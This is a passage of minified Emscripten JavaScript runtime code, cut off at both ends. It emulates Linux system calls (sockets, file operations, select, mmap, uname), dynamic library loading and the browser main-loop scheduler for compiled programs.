10:if(salen!==28){return{errno:ERRNO_CODES.EINVAL}}addr=[HEAP32[sa+8>>2],HEAP32[sa+12>>2],HEAP32[sa+16>>2],HEAP32[sa+20>>2]];addr=__inet_ntop6_raw(addr);break;default:return{errno:ERRNO_CODES.EAFNOSUPPORT}}return{family:family,addr:addr,port:port}}function __write_sockaddr(sa,family,addr,port){switch(family){case 2:addr=__inet_pton4_raw(addr);HEAP16[sa>>1]=family;HEAP32[sa+4>>2]=addr;HEAP16[sa+2>>1]=_htons(port);break;case 10:addr=__inet_pton6_raw(addr);HEAP32[sa>>2]=family;HEAP32[sa+8>>2]=addr[0];HEAP32[sa+12>>2]=addr[1];HEAP32[sa+16>>2]=addr[2];HEAP32[sa+20>>2]=addr[3];HEAP16[sa+2>>1]=_htons(port);HEAP32[sa+4>>2]=0;HEAP32[sa+24>>2]=0;break;default:return{errno:ERRNO_CODES.EAFNOSUPPORT}}return{}}function ___syscall102(which,varargs){SYSCALLS.varargs=varargs;try{var call=SYSCALLS.get(),socketvararg=SYSCALLS.get();SYSCALLS.varargs=socketvararg;switch(call){case 1:{var domain=SYSCALLS.get(),type=SYSCALLS.get(),protocol=SYSCALLS.get();var sock=SOCKFS.createSocket(domain,type,protocol);assert(sock.stream.fd<64);return sock.stream.fd};case 2:{var sock=SYSCALLS.getSocketFromFD(),info=SYSCALLS.getSocketAddress();sock.sock_ops.bind(sock,info.addr,info.port);return 0};case 3:{var sock=SYSCALLS.getSocketFromFD(),info=SYSCALLS.getSocketAddress();sock.sock_ops.connect(sock,info.addr,info.port);return 0};case 4:{var sock=SYSCALLS.getSocketFromFD(),backlog=SYSCALLS.get();sock.sock_ops.listen(sock,backlog);return 0};case 5:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var newsock=sock.sock_ops.accept(sock);if(addr){var res=__write_sockaddr(addr,newsock.family,DNS.lookup_name(newsock.daddr),newsock.dport);assert(!res.errno)}return newsock.stream.fd};case 6:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(sock.saddr||\"0.0.0.0\"),sock.sport);assert(!res.errno);return 0};case 7:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();if(!sock.daddr){return-ERRNO_CODES.ENOTCONN}var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(sock.daddr),sock.dport);assert(!res.errno);return 0};case 11:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),length=SYSCALLS.get(),flags=SYSCALLS.get(),dest=SYSCALLS.getSocketAddress(true);if(!dest){return FS.write(sock.stream,HEAP8,message,length)}else{return sock.sock_ops.sendmsg(sock,HEAP8,message,length,dest.addr,dest.port)}};case 12:{var sock=SYSCALLS.getSocketFromFD(),buf=SYSCALLS.get(),len=SYSCALLS.get(),flags=SYSCALLS.get(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var msg=sock.sock_ops.recvmsg(sock,len);if(!msg)return 0;if(addr){var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(msg.addr),msg.port);assert(!res.errno)}HEAPU8.set(msg.buffer,buf);return msg.buffer.byteLength};case 14:{return-ERRNO_CODES.ENOPROTOOPT};case 15:{var sock=SYSCALLS.getSocketFromFD(),level=SYSCALLS.get(),optname=SYSCALLS.get(),optval=SYSCALLS.get(),optlen=SYSCALLS.get();if(level===1){if(optname===4){HEAP32[optval>>2]=sock.error;HEAP32[optlen>>2]=4;sock.error=null;return 0}}return-ERRNO_CODES.ENOPROTOOPT};case 16:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),flags=SYSCALLS.get();var iov=HEAP32[message+8>>2];var num=HEAP32[message+12>>2];var addr,port;var name=HEAP32[message>>2];var namelen=HEAP32[message+4>>2];if(name){var info=__read_sockaddr(name,namelen);if(info.errno)return-info.errno;port=info.port;addr=DNS.lookup_addr(info.addr)||info.addr}var total=0;for(var i=0;i<num;i++){total+=HEAP32[iov+(8*i+4)>>2]}var view=new Uint8Array(total);var offset=0;for(var i=0;i<num;i++){var iovbase=HEAP32[iov+(8*i+0)>>2];var iovlen=HEAP32[iov+(8*i+4)>>2];for(var j=0;j<iovlen;j++){view[offset++]=HEAP8[iovbase+j>>0]}}return sock.sock_ops.sendmsg(sock,view,0,total,addr,port)};case 17:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),flags=SYSCALLS.get();var iov=HEAP32[message+8>>2];var num=HEAP32[message+12>>2];var total=0;for(var i=0;i<num;i++){total+=HEAP32[iov+(8*i+4)>>2]}var msg=sock.sock_ops.recvmsg(sock,total);if(!msg)return 0;var name=HEAP32[message>>2];if(name){var res=__write_sockaddr(name,sock.family,DNS.lookup_name(msg.addr),msg.port);assert(!res.errno)}var bytesRead=0;var bytesRemaining=msg.buffer.byteLength;for(var i=0;bytesRemaining>0&&i<num;i++){var iovbase=HEAP32[iov+(8*i+0)>>2];var iovlen=HEAP32[iov+(8*i+4)>>2];if(!iovlen){continue}var length=Math.min(iovlen,bytesRemaining);var buf=msg.buffer.subarray(bytesRead,bytesRead+length);HEAPU8.set(buf,iovbase+bytesRead);bytesRead+=length;bytesRemaining-=length}return bytesRead};default:abort(\"unsupported socketcall syscall \"+call)}}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall122(which,varargs){SYSCALLS.varargs=varargs;try{var buf=SYSCALLS.get();if(!buf)return-ERRNO_CODES.EFAULT;var layout={\"sysname\":0,\"nodename\":65,\"domainname\":325,\"machine\":260,\"version\":195,\"release\":130,\"__size__\":390};function copyString(element,value){var offset=layout[element];writeAsciiToMemory(value,buf+offset)}copyString(\"sysname\",\"Emscripten\");copyString(\"nodename\",\"emscripten\");copyString(\"release\",\"1.0\");copyString(\"version\",\"#1\");copyString(\"machine\",\"x86-JS\");return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall140(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),offset_high=SYSCALLS.get(),offset_low=SYSCALLS.get(),result=SYSCALLS.get(),whence=SYSCALLS.get();var offset=offset_low;FS.llseek(stream,offset,whence);HEAP32[result>>2]=stream.position;if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall142(which,varargs){SYSCALLS.varargs=varargs;try{var nfds=SYSCALLS.get(),readfds=SYSCALLS.get(),writefds=SYSCALLS.get(),exceptfds=SYSCALLS.get(),timeout=SYSCALLS.get();assert(nfds<=64,\"nfds must be less than or equal to 64\");assert(!exceptfds,\"exceptfds not supported\");var total=0;var srcReadLow=readfds?HEAP32[readfds>>2]:0,srcReadHigh=readfds?HEAP32[readfds+4>>2]:0;var srcWriteLow=writefds?HEAP32[writefds>>2]:0,srcWriteHigh=writefds?HEAP32[writefds+4>>2]:0;var srcExceptLow=exceptfds?HEAP32[exceptfds>>2]:0,srcExceptHigh=exceptfds?HEAP32[exceptfds+4>>2]:0;var dstReadLow=0,dstReadHigh=0;var dstWriteLow=0,dstWriteHigh=0;var dstExceptLow=0,dstExceptHigh=0;var allLow=(readfds?HEAP32[readfds>>2]:0)|(writefds?HEAP32[writefds>>2]:0)|(exceptfds?HEAP32[exceptfds>>2]:0);var allHigh=(readfds?HEAP32[readfds+4>>2]:0)|(writefds?HEAP32[writefds+4>>2]:0)|(exceptfds?HEAP32[exceptfds+4>>2]:0);function check(fd,low,high,val){return fd<32?low&val:high&val}for(var fd=0;fd<nfds;fd++){var mask=1<<fd%32;if(!check(fd,allLow,allHigh,mask)){continue}var stream=FS.getStream(fd);if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);var flags=SYSCALLS.DEFAULT_POLLMASK;if(stream.stream_ops.poll){flags=stream.stream_ops.poll(stream)}if(flags&1&&check(fd,srcReadLow,srcReadHigh,mask)){fd<32?dstReadLow=dstReadLow|mask:dstReadHigh=dstReadHigh|mask;total++}if(flags&4&&check(fd,srcWriteLow,srcWriteHigh,mask)){fd<32?dstWriteLow=dstWriteLow|mask:dstWriteHigh=dstWriteHigh|mask;total++}if(flags&2&&check(fd,srcExceptLow,srcExceptHigh,mask)){fd<32?dstExceptLow=dstExceptLow|mask:dstExceptHigh=dstExceptHigh|mask;total++}}if(readfds){HEAP32[readfds>>2]=dstReadLow;HEAP32[readfds+4>>2]=dstReadHigh}if(writefds){HEAP32[writefds>>2]=dstWriteLow;HEAP32[writefds+4>>2]=dstWriteHigh}if(exceptfds){HEAP32[exceptfds>>2]=dstExceptLow;HEAP32[exceptfds+4>>2]=dstExceptHigh}return total}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall145(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doReadv(stream,iov,iovcnt)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall146(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doWritev(stream,iov,iovcnt)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall15(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),mode=SYSCALLS.get();FS.chmod(path,mode);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall183(which,varargs){SYSCALLS.varargs=varargs;try{var buf=SYSCALLS.get(),size=SYSCALLS.get();if(size===0)return-ERRNO_CODES.EINVAL;var cwd=FS.cwd();var cwdLengthInBytes=lengthBytesUTF8(cwd);if(size<cwdLengthInBytes+1)return-ERRNO_CODES.ERANGE;stringToUTF8(cwd,buf,size);return buf}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall192(which,varargs){SYSCALLS.varargs=varargs;try{var addr=SYSCALLS.get(),len=SYSCALLS.get(),prot=SYSCALLS.get(),flags=SYSCALLS.get(),fd=SYSCALLS.get(),off=SYSCALLS.get();off<<=12;var ptr;var allocated=false;if(fd===-1){ptr=_memalign(PAGE_SIZE,len);if(!ptr)return-ERRNO_CODES.ENOMEM;_memset(ptr,0,len);allocated=true}else{var info=FS.getStream(fd);if(!info)return-ERRNO_CODES.EBADF;var res=FS.mmap(info,HEAPU8,addr,len,off,prot,flags);ptr=res.ptr;allocated=res.allocated}SYSCALLS.mappings[ptr]={malloc:ptr,len:len,allocated:allocated,fd:fd,flags:flags};return ptr}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall193(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),zero=SYSCALLS.getZero(),length=SYSCALLS.get64();FS.truncate(path,length);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall195(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),buf=SYSCALLS.get();return SYSCALLS.doStat(FS.stat,path,buf)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall196(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),buf=SYSCALLS.get();return SYSCALLS.doStat(FS.lstat,path,buf)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall197(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get();return SYSCALLS.doStat(FS.stat,stream.path,buf)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall202(which,varargs){SYSCALLS.varargs=varargs;try{return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall199(){return ___syscall202.apply(null,arguments)}function ___syscall220(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),dirp=SYSCALLS.get(),count=SYSCALLS.get();if(!stream.getdents){stream.getdents=FS.readdir(stream.path)}var pos=0;while(stream.getdents.length>0&&pos+268<=count){var id;var type;var name=stream.getdents.pop();if(name[0]===\".\"){id=1;type=4}else{var child=FS.lookupNode(stream.node,name);id=child.id;type=FS.isChrdev(child.mode)?2:FS.isDir(child.mode)?4:FS.isLink(child.mode)?10:8}HEAP32[dirp+pos>>2]=id;HEAP32[dirp+pos+4>>2]=stream.position;HEAP16[dirp+pos+8>>1]=268;HEAP8[dirp+pos+10>>0]=type;stringToUTF8(name,dirp+pos+11,256);pos+=268}return pos}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall221(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),cmd=SYSCALLS.get();switch(cmd){case 0:{var arg=SYSCALLS.get();if(arg<0){return-ERRNO_CODES.EINVAL}var newStream;newStream=FS.open(stream.path,stream.flags,0,arg);return newStream.fd};case 1:case 2:return 0;case 3:return stream.flags;case 4:{var arg=SYSCALLS.get();stream.flags|=arg;return 0};case 12:case 12:{var arg=SYSCALLS.get();var offset=0;HEAP16[arg+offset>>1]=2;return 0};case 13:case 14:case 13:case 14:return 0;case 16:case 8:return-ERRNO_CODES.EINVAL;case 9:___setErrNo(ERRNO_CODES.EINVAL);return-1;default:{return-ERRNO_CODES.EINVAL}}}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall268(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),size=SYSCALLS.get(),buf=SYSCALLS.get();assert(size===64);HEAP32[buf+4>>2]=4096;HEAP32[buf+40>>2]=4096;HEAP32[buf+8>>2]=1e6;HEAP32[buf+12>>2]=5e5;HEAP32[buf+16>>2]=5e5;HEAP32[buf+20>>2]=FS.nextInode;HEAP32[buf+24>>2]=1e6;HEAP32[buf+28>>2]=42;HEAP32[buf+44>>2]=2;HEAP32[buf+36>>2]=255;return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall3(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get(),count=SYSCALLS.get();return FS.read(stream,HEAP8,buf,count)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall33(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),amode=SYSCALLS.get();return SYSCALLS.doAccess(path,amode)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall38(which,varargs){SYSCALLS.varargs=varargs;try{var old_path=SYSCALLS.getStr(),new_path=SYSCALLS.getStr();FS.rename(old_path,new_path);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall39(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),mode=SYSCALLS.get();return SYSCALLS.doMkdir(path,mode)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall4(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get(),count=SYSCALLS.get();return FS.write(stream,HEAP8,buf,count)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall40(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr();FS.rmdir(path);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall5(which,varargs){SYSCALLS.varargs=varargs;try{var pathname=SYSCALLS.getStr(),flags=SYSCALLS.get(),mode=SYSCALLS.get();var stream=FS.open(pathname,flags,mode);return stream.fd}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall54(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),op=SYSCALLS.get();switch(op){case 21509:case 21505:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21510:case 21511:case 21512:case 21506:case 21507:case 21508:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21519:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;var argp=SYSCALLS.get();HEAP32[argp>>2]=0;return 0};case 21520:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return-ERRNO_CODES.EINVAL};case 21531:{var argp=SYSCALLS.get();return FS.ioctl(stream,op,argp)};case 21523:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21524:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};default:abort(\"bad ioctl syscall \"+op)}}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall6(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD();FS.close(stream);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall77(which,varargs){SYSCALLS.varargs=varargs;try{var who=SYSCALLS.get(),usage=SYSCALLS.get();_memset(usage,0,136);HEAP32[usage>>2]=1;HEAP32[usage+4>>2]=2;HEAP32[usage+8>>2]=3;HEAP32[usage+12>>2]=4;return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall85(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),buf=SYSCALLS.get(),bufsize=SYSCALLS.get();return SYSCALLS.doReadlink(path,buf,bufsize)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall91(which,varargs){SYSCALLS.varargs=varargs;try{var addr=SYSCALLS.get(),len=SYSCALLS.get();var info=SYSCALLS.mappings[addr];if(!info)return 0;if(len===info.len){var stream=FS.getStream(info.fd);SYSCALLS.doMsync(addr,stream,len,info.flags);FS.munmap(stream);SYSCALLS.mappings[addr]=null;if(info.allocated){_free(info.malloc)}}return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___unlock(){}function _abort(){Module[\"abort\"]()}function _atexit(func,arg){__ATEXIT__.unshift({func:func,arg:arg})}function _clock(){if(_clock.start===undefined)_clock.start=Date.now();return(Date.now()-_clock.start)*(1e6/1e3)|0}function _emscripten_get_now_res(){if(ENVIRONMENT_IS_NODE){return 1}else if(typeof dateNow!==\"undefined\"||(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self[\"performance\"]&&self[\"performance\"][\"now\"]){return 1e3}else{return 1e3*1e3}}function _emscripten_get_now(){abort()}function _emscripten_get_now_is_monotonic(){return ENVIRONMENT_IS_NODE||typeof dateNow!==\"undefined\"||(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self[\"performance\"]&&self[\"performance\"][\"now\"]}function _clock_getres(clk_id,res){var nsec;if(clk_id===0){nsec=1e3*1e3}else if(clk_id===1&&_emscripten_get_now_is_monotonic()){nsec=_emscripten_get_now_res()}else{___setErrNo(ERRNO_CODES.EINVAL);return-1}HEAP32[res>>2]=nsec/1e9|0;HEAP32[res+4>>2]=nsec;return 0}function _clock_gettime(clk_id,tp){var now;if(clk_id===0){now=Date.now()}else if(clk_id===1&&_emscripten_get_now_is_monotonic()){now=_emscripten_get_now()}else{___setErrNo(ERRNO_CODES.EINVAL);return-1}HEAP32[tp>>2]=now/1e3|0;HEAP32[tp+4>>2]=now%1e3*1e3*1e3|0;return 0}function _difftime(time1,time0){return time1-time0}var DLFCN={error:null,errorMsg:null,loadedLibs:{},loadedLibNames:{}};function _dlclose(handle){if(!DLFCN.loadedLibs[handle]){DLFCN.errorMsg=\"Tried to dlclose() unopened handle: \"+handle;return 1}else{var lib_record=DLFCN.loadedLibs[handle];if(--lib_record.refcount==0){if(lib_record.module.cleanups){lib_record.module.cleanups.forEach((function(cleanup){cleanup()}))}delete DLFCN.loadedLibNames[lib_record.name];delete DLFCN.loadedLibs[handle]}return 0}}function _dlopen(filename,flag){abort(\"To use dlopen, you need to use Emscripten's linking support, see https://github.com/kripken/emscripten/wiki/Linking\");var searchpaths=[];if(filename===0){filename=\"__self__\"}else{var strfilename=Pointer_stringify(filename);var isValidFile=(function(filename){var target=FS.findObject(filename);return target&&!target.isFolder&&!target.isDevice});if(isValidFile(strfilename)){filename=strfilename}else{if(ENV[\"LD_LIBRARY_PATH\"]){searchpaths=ENV[\"LD_LIBRARY_PATH\"].split(\":\")}for(var ident in searchpaths){var searchfile=PATH.join2(searchpaths[ident],strfilename);if(isValidFile(searchfile)){filename=searchfile;break}}}}if(DLFCN.loadedLibNames[filename]){var handle=DLFCN.loadedLibNames[filename];DLFCN.loadedLibs[handle].refcount++;return handle}var lib_module;if(filename===\"__self__\"){var handle=-1;lib_module=Module}else{if(Module[\"preloadedWasm\"]!==undefined&&Module[\"preloadedWasm\"][filename]!==undefined){lib_module=Module[\"preloadedWasm\"][filename]}else{var target=FS.findObject(filename);if(!target||target.isFolder||target.isDevice){DLFCN.errorMsg=\"Could not find dynamic lib: \"+filename;return 0}FS.forceLoadFile(target);try{var lib_data=FS.readFile(filename,{encoding:\"binary\"});if(!(lib_data instanceof Uint8Array))lib_data=new Uint8Array(lib_data);lib_module=loadWebAssemblyModule(lib_data)}catch(e){DLFCN.errorMsg=\"Could not evaluate dynamic lib: \"+filename+\"\\n\"+e;return 0}}var handle=1;for(var key in DLFCN.loadedLibs){if(DLFCN.loadedLibs.hasOwnProperty(key))handle++}if(flag&256){for(var ident in lib_module){if(lib_module.hasOwnProperty(ident)){if(ident[0]==\"_\"){Module[ident]=lib_module[ident]}}}}}DLFCN.loadedLibs[handle]={refcount:1,name:filename,module:lib_module};DLFCN.loadedLibNames[filename]=handle;return handle}function _dlsym(handle,symbol){symbol=Pointer_stringify(symbol);if(!DLFCN.loadedLibs[handle]){DLFCN.errorMsg=\"Tried to dlsym() from an unopened handle: \"+handle;return 0}else{var lib=DLFCN.loadedLibs[handle];symbol=\"_\"+symbol;if(!lib.module.hasOwnProperty(symbol)){DLFCN.errorMsg='Tried to lookup unknown symbol \"'+symbol+'\" in dynamic lib: '+lib.name;return 0}else{var result=lib.module[symbol];if(typeof result===\"function\"){return addFunction(result)}return result}}}function _emscripten_set_main_loop_timing(mode,value){Browser.mainLoop.timingMode=mode;Browser.mainLoop.timingValue=value;if(!Browser.mainLoop.func){return 1}if(mode==0){Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_setTimeout(){var timeUntilNextTick=Math.max(0,Browser.mainLoop.tickStartTime+value-_emscripten_get_now())|0;setTimeout(Browser.mainLoop.runner,timeUntilNextTick)};Browser.mainLoop.method=\"timeout\"}else if(mode==1){Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_rAF(){Browser.requestAnimationFrame(Browser.mainLoop.runner)};Browser.mainLoop.method=\"rAF\"}else if(mode==2){if(typeof setImmediate===\"undefined\"){var setImmediates=[];var emscriptenMainLoopMessageId=\"setimmediate\";function Browser_setImmediate_messageHandler(event){if(event.data===emscriptenMainLoopMessageId||event.data.target===emscriptenMainLoopMessageId){event.stopPropagation();setImmediates.shift()()}}addEventListener(\"message\",Browser_setImmediate_messageHandler,true);setImmediate=function Browser_emulated_setImmediate(func){setImmediates.push(func);if(ENVIRONMENT_IS_WORKER){if(Module[\"setImmediates\"]===undefined)Module[\"setImmediates\"]=[];Module[\"setImmediates\"].push(func);postMessage({target:emscriptenMainLoopMessageId})}else postMessage(emscriptenMainLoopMessageId,\"*\")}}Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_setImmediate(){setImmediate(Browser.mainLoop.runner)};Browser.mainLoop.method=\"immediate\"}return 0}function _emscripten_set_main_loop(func,fps,simulateInfiniteLoop,arg,noSetTiming){Module[\"noExitRuntime\"]=true;assert(!Browser.mainLoop.func,\"emscripten_set_main_loop: there can only be one main loop function at once: call emscripten_cancel_main_loop to cancel the previous one before setting a new one with different parameters.\");Browser.mainLoop.func=func;Browser.mainLoop.arg=arg;var browserIterationFunc;if(typeof arg!==\"undefined\"){browserIterationFunc=(function(){Module[\"dynCall_vi\"](func,arg)})}else{browserIterationFunc=(function(){Module[\"dynCall_v\"](func)})}var thisMainLoopId=Browser.mainLoop.currentlyRunningMainloop;Browser.mainLoop.runner=function Browser_mainLoop_runner(){if(ABORT)return;if(Browser.mainLoop.queue.length>0){var start=Date.now();var blocker=Browser.mainLoop.queue.shift();blocker.func(blocker.arg);if(Browser.mainLoop.remainingBlockers){var remaining=Browser.mainLoop.remainingBlockers;var next=remaining%1==0?remaining-1:Math.floor(remaining);if(blocker.counted){Browser.mainLoop.remainingBlockers=next}else{next=next+.5;Browser.mainLoop.remainingBlockers=(8*remaining+next)/9}}console.log('main loop blocker \"'+blocker.name+'\" took '+(Date.now()-start)+\" ms\");Browser.mainLoop.updateStatus();if(thisMainLoopId<Browser.mainLoop.currentlyRunningMainloop)return;setTimeout(Browser.mainLoop.runner,0);return}if(thisMainLoopId<Browser.mainLoop.currentlyRunningMainloop)return;Browser.mainLoop.currentFrameNumber=Browser.mainLoop.currentFrameNumber+1|0;if(Browser.mainLoop.timingMode==1&&Browser.mainLoop.timingValue>1&&Browser.mainLoop.currentFrameNumber%Browser.mainLoop.timingValue!=0){Browser.mainLoop.scheduler();return}else if(Browser.mainLoop.timingMode==0){Browser.mainLoop.tickStartTime=_emscripten_get_now()}if(Browser.mainLoop.method===\"timeout\"&&Module.ctx){err(\"Looks like you are rendering without using requestAnimationFrame for the main loop. You should use 0 for the frame rate in emscripten_set_main_loop in order to use requestAnimationFrame, as that can greatly improve your frame rates!\");Browser.mainLoop.method=\"\"}Browser.mainLoop.runIter(browserIterationFunc);if(thisMainLoopId<Browser.mainLoop.currentlyRunningMainloop)return;if(typeof SDL===\"object\"&&SDL.audio&&SDL.audio.queueNewAudioData)SDL.audio.queueNewAudioData();Browser.mainLoop.scheduler()};if(!noSetTiming){if(fps&&fps>0)_emscripten_set_main_loop_timing(0,1e3/fps);else _emscripten_set_main_loop_timing(1,1);Browser.mainLoop.scheduler()}if(simulateInfiniteLoop){throw\"SimulateInfiniteLoop\"}}var Browser={mainLoop:{scheduler:null,method:\"\",currentlyRunningMainloop:0,func:null,arg:0,timingMode:0,timingValue:0,currentFrameNumber:0,queue:[],pause:(function(){Browser.mainLoop.scheduler=null;Browser.mainLoop.currentlyRunningMainloop++}),resume:(function(){Browser.mainLoop.currentlyRunningMainloop++;var timingMode=Browser.mainLoop.timingMode;var timingValue=Browser.mainLoop.timingValue;var func=Browser.mainLoop.func;Browser.mainLoop.func=null;_emscripten_set_main_loop(func,0,false,Browser.mainLoop.arg,true);_emscripten_set_main_loop_timing(timingMode,timingValue);Browser.mainLoop.scheduler()}),updateStatus:(function(){if(Module[\"setStatus\"]){var message=Module[\"statusMessage\"]||\"Please wait...\";var remaining=Browser.mainLoop.remainingBlockers;var expected=Browser.mainLoop.expectedBlockers;if(remaining){if(remaining<expected){Module[\"setStatus\"](message+\" (\"+(expected-remaining)+\"/\"+expected+\")\")}else{Module[\"setStatus\"](message)}}else{Module[\"setStatus\"](\"\")}}}),runIter:(function(func){if(ABORT)return;if(Module[\"preMainLoop\"]){var preRet=Module[\"preMainLoop\"]();if(preRet===false){return}}try{func()}catch(e){if(e instanceof ExitStatus){return}else{if(e&&typeof e===\"object\"&&e.stack)err(\"exception thrown: \"+[e,e.stack]);throw e}}if(Module[\"postMainLoop\"])Module[\"postMainLoop\"]()})},isFullscreen:false,pointerLock:false,moduleContextCreatedCallbacks:[],workers:[],init:(function(){if(!Module[\"preloadPlugins\"])Module[\"preloadPlugins\"]=[];if(Browser.initted)return;Browser.initted=true;try{new Blob;Browser.hasBlobConstructor=true}catch(e){Browser.hasBlobConstructor=false;console.log(\"warning: no blob constructor, cannot create blobs with mimetypes\")}Browser.BlobBuilder=typeof MozBlobBuilder!=\"undefined\"?MozBlobBuilder:typeof WebKitBlobBuilder!=\"undefined\"?WebKitBlobBuilder:!Browser.hasBlobConstructor?console.log(\"warning: no BlobBuilder\"):null;Browser.URLObject=typeof window!=\"undefined\"?window.URL?window.URL:window.webkitURL:undefined;if(!Module.noImageDecoding&&typeof Browser.URLObject===\"undefined\"){console.log(\"warning: Browser does not support creating object URLs. Built-in browser image decoding will not be available.\");Module.noImageDecoding=true}var imagePlugin={};imagePlugin[\"canHandle\"]=function imagePlugin_canHandle(name){return!Module.noImageDecoding&&/\\.(jpg|jpeg|png|bmp)$/i.test(name)};imagePlugin[\"handle\"]=function imagePlugin_handle(byteArray,name,onload,onerror){var b=null;if(Browser.hasBlobConstructor){try{b=new Blob([byteArray],{type:Browser.getMimetype(name)});if(b.size!==byteArray.length){b=new Blob([(new 